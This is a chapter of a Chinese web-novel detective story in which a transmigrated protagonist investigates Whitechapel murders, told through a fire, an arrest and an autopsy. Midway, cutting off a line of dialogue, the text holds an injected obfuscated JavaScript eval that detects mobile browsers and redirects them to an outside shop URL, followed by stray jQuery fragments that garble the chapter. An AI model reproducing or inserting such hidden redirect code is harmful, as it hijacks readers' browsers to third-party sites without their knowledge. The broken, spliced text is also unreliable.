修罗可举起桌上的烛台。他双手打抖,火光在漆黑的楼梯上颤动着。
“露易丝?出什么事了吗?”他喊道。
四周阴森死寂,令人不寒而栗。忽然间,桌椅打翻的轰鸣声自楼上传来,如一道闪电般劈开了寂静。
修罗可跌跌撞撞地冲上楼去,他扭动阁楼的门把手,想要推开门,但毫无作用。他俯身向钥匙孔望去,发现门从内锁死,一盏蜡烛翻倒在地上。火苗引燃了窗帘,冒出浓重的烟雾。
修罗可绝望地喊着露易丝的名字,用尽浑身力气撞向房门。门板尖叫几声,轰然倒下。修罗可失去平衡,扑倒在地,与卧倒在打开的窗户下的露易丝遥遥相望。
露易丝躺在火中,颈部的两道伤口被照的透亮,黑色的血液从中汩汩流出,在身下聚成了一滩血泊。她双目圆睁,眼白上翻,胸部剧烈起伏。
修罗可冲至窗边,用袖口死死摁住她颈上的伤口。
露易丝忽然张开双眼,摇摇晃晃地将右手向上指去。天花板上有一道拖拽的血迹,旁边的窗帘上同样有喷溅的鲜血。
他抱着露易丝回到一楼,企图施救,但已然回天乏术。她的身体瘫软下来,再也没有气息。那张十分钟前还生机勃勃的脸,如今已经显露出死人的灰白色。
这时,房东摇摇晃晃地走入一楼。他看到躺在地上的露易丝,瞬间瞠目结舌。
“见鬼,发生什么了?”他叫道。
“保护好现场,并喊人去扑火!”修罗可喊道。
他冲出门去,试图寻找凶手的踪迹。但屋外天地广阔,被月光照亮的街巷内空无一人。白教堂的夜晚静谧得出奇,就连风都没能带来任何声音。
“先生,发生了什么吗?您脸色看着好差。”
鬼魅般的女声兀然从背后响起。修罗可转过身去,被眼前的一幕惊得险些跳起来。
一个皮肤惨白的老妇人立在他身后。她笑容温和,抱着一个盛满水的瓷盆,身穿一身白色衣裙,裙摆上血迹斑斑。
“您不要动!”修罗可猛然抓住她的手腕。瓷盆坠地,水浆飞溅。
“这是怎么了?”老妇人茫然地问道,“我犯罪了吗?”
在她背后,小屋的火势渐猛,三四个警察正急匆匆地赶过来。领头的小个子男人动作敏捷,宛若一条训练有素的猎犬——那正是雷斯垂德。
“出人命了!先将她控制住!”修罗可大声呼喊。
两名警员立刻奔来,给老妇人戴上手铐。雷斯垂德一脸困惑。
“哪里死人了?凶手是她吗?”雷斯垂德问道。
“人死在着火的小屋里!凶手有可能是她,也有可能是房子的主人——记得将他也控制住!但我不确定!”修罗可捶胸顿足,“该死,他会往哪里逃跑呢?”
地面上的覆水被夜风搅动,在月光下映出粼粼波光。忽然,一切豁然开朗。
泰晤士河,那贯穿伦敦的河流,一切繁华和污秽交融的地方。这条河流在一日前带来了尸体,也可为凶手藏匿夺走生命的凶器。
修罗可没作任何解释。他甩开迷茫的警探们,奔向滔滔不绝的河水。一条沾血的绳索正如章鱼触手般,在波涛中扭动。
修罗可点出一张技能卡,毫不犹豫投入冰冷的河水中,捉住那条绳索。月光在河面上跳动,光明和黑暗在波涛中交相辉映。在迷雾中,敌人再次对他发起挑战。
—————
“宿主,不是我说你,但下次跳水的时候,姿势要帅一点......”第二天,在前往警局的马车上,系统不厌其烦地絮叨道:“你在水里狗刨的时候,读者们都绷不住了,以为改喜剧故事了呢!”
“好的好的......”修罗可低声嘀咕道,“昨夜是太上头了。”
今天是验尸日。修罗可穿过警局的地下室,向着冰冷潮湿的验尸间走去,仿佛他也短暂脱离了人世间,进入了冥王管辖的院落。
雷斯垂德在验尸间内等候。他双眼肿胀,印堂发青,看样子一夜未睡。在他身边,站着一位长相清秀的年轻男性。他约莫二十七八岁,穿着医生样式的灰黑色长袍。
“这是爱德华·默里,我们请来验尸的医生。”雷斯垂德介绍道,“他的医学造诣深厚,可以为您讲解尸检结果。”
“您就是霍姆斯先生吧?我常常听警探们提及您的大名。”爱德华礼貌地与修罗可握手致意。他手指纤长,指甲修剪整齐,手掌上贴着数个创可贴。
“在白教堂行医,比在其他区域要更加麻烦吧?”修罗可问道。
“是的,患者经济状况不太好,所以我经常需要为他们配置药物——稍等,您是如何知道这些信息的?”爱德华问道。
“凭你手上的创可贴。富裕家庭会去药剂师处购买药品。只有贫困地区的医生需要自己配药。在此过程中,很容易被药剂灼伤手掌。”修罗可答道,“而且,按照您响应的速度,大概率就是白教堂的本地医生了。”
“您果然名不虚传。但还差一点没说到:我不仅要配药,还得为他们配制除锈剂、除草剂等生活用品。贫困地区的人看病拿不出多少钱,所以我总得搞点副业。”爱德华露出微笑。
三人围到演示台前。“话说,您不讨厌尸体的气味吧?”爱德华说。
“当然不。”修罗可口是心非地说道。但他已经屏息好几次了。
爱德华掀开白布,安娜和露易丝并排躺在那里。她们比之前看着更加干瘪、苍白。两人的衣物都被剥去,只围了一层亚麻布料。
“她是溺亡的。”爱德华指向安娜颈部的一圈红痕:“她的肺部有不少水。”
“但她的意识未必清醒。”修罗可道:“看,安娜的颈部有一圈勒痕,像是光滑的细带勒出的。她双手干净,没有防御伤,这证明她在毫无防备的情况下被偷袭。她的体内检测出麻醉剂了吗?”
“没有,先生。”
“人被勒晕后,会很快苏醒。所以,凶手必定在岸边袭击了安娜。她失去反抗能力后,凶手将缎带塞入舌下,并将她抛入水中。整个过程可能只有几分钟。雷斯垂德长官,会不会是警员们没能发现这短暂的凶杀案呢?”
雷斯垂德摇头:“这不可能。”
“为什么?”修罗可问
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17972009|214683||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
“因为安娜在前天,也就是9月2日的凌晨还活着。附近的居民在曙光中看到她回屋休息,但没有和她交谈。我们在她的住处发现了吃剩的牛排和面包,和安娜胃里的遗留物一致。我们推测她在凌晨5点用完早餐后离家,随后遇害。”
“好的,这个信息很有用,但为何要以此反驳呢?”
“霍姆斯先生,你到底是不是英国人?那天早上,女王在泰晤士河上游巡查。我们在上游出动了2-3倍的警力。在这种情形下,我很难想象有人能在几百双眼睛下杀人。”
“那,这就是一起密室杀人案,和露易丝之死一样。”
“大侦探,大火将阁楼都毁了,你是唯一一个见过案发现场原状的人。”雷斯垂德略带挖苦地说道,“所以,你如何评论这次凶杀案?”
“和安娜之死非常相似。整个作案过程极其迅速,可能只有5分钟。我抵达时,房门从内反锁,屋内只有一扇小窗,不足一个成年人通过。”
“天啊,所以开膛手又作案了?他已经消失半年多了,为何重出江湖?”
“第一次可能是为了挑衅女王。但我猜想,我们可能摸到了他的蛛丝马迹,逼迫他迅速开展第二次杀人。”修罗可道。
“但露易丝不太一样。凶手同时用两把锐器刺入她颈侧的动脉,导致她失血过多而死。”爱德华插嘴道。
“不,凶手同样也使用了绳索。”修罗可说。露易丝的颈上同样有绳索留下的痕迹。
他拿出从河中捞出的绳子。绳索从中间被切断,上半部分浸满鲜血,断口处有纵向剪切的痕迹。绳子的下半截相对干净,只有零星血点。
“她颈上的勒痕与绳子的纹理一模一样。但不知为何,对方选择用刀终结她。绳子也溅上了血。”他说道。“而且,凶手肯定将其剪成两节,方便销毁证据。”
“虽然一击致命,但下刀处有些偏差。”雷斯垂德指向死者颈上的刀痕,“凶器找到了吗?”
爱德华拿起一把镊子,小心翼翼地夹起一个闪着银光的东西。那是一片纤薄但锐利的刀片,约莫一指长,半指宽,是大街小巷都能买到的日用品。
“我在右边的创口里找到了它。”
“什么人会用这样的东西杀人?”雷斯垂德道,“随便拿一把刀,都能更快地取人性命。”
“是啊,而且他为何要同时使用两种凶器?真是令人费解。”
“他真的靠近过尸体吗?会不会存在什么小把戏?”雷斯垂德问道。
修罗可凝望着尸体残破的颈部。忽然,他灵光一闪,用手去触摸尸体的咽喉,摸到了一处不自然的凸起。
“医生,可以麻烦您在这里切一道口子吗?”修罗可问道。
爱德华拿起手术刀,在咽喉上部进行切割。他的手不太稳,切出的口子歪歪扭扭,与两侧的平直切口形成鲜明的对比。
一截粉色丝带从切口处露出来。修罗可抓过镊子,从中挑出一条粉色丝带。上面的字迹已经模糊不清,只能勉强辨认出几个单词。
“天啊......”雷斯垂德低声说道。